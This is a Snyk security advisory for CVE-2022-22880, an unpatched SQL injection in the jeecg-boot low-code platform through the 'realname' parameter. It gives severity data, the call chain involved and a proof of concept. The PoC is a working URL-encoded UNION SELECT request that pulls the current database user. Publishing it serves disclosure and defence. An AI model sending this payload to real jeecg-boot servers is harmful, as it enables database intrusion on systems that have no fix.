SQL Injection Affecting org.jeecgframework.boot:jeecg-boot-parent package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.2% (60th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGJEECGFRAMEWORKBOOT-2404191
  • published17 Feb 2022
  • disclosed17 Feb 2022
  • creditjinny

Introduced: 17 Feb 2022

CVE-2022-22880  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

There is no fixed version for org.jeecgframework.boot:jeecg-boot-parent.

Overview

org.jeecgframework.boot:jeecg-boot-parent is a low-code development platform.

Affected versions of this package are vulnerable to SQL Injection via the realname argument in the queryUserByDepId function, which does not sanitize the content of the argument. Down the line, this function calls queryUserByDepCode function with realname as an argument, which in turn calls queryDepartUserList (again, with realname as an argument), and finally rendering the contents after evaluation if realname isn't null or an empty string.

PoC

/jeecg-boot/sys/user/queryUserByDepId?_t=1641263644&id=57197590443c44f083d42ae24ef26a2c&realname=%64%61%73%64%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%63%6f%6e%63%61%74%28%30%78%37%2c%69%66%6e%75%6c%6c%28%63%61%73%74%28%63%75%72%72%65%6e%74%5f%75%73%65%72%28%29%20%61%73%20%6e%63%68%61%72%29%2c%30%78%32%30%29%2c%30%78%37%29%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2d%2d%20%2d

CVSS Scores

version 3.1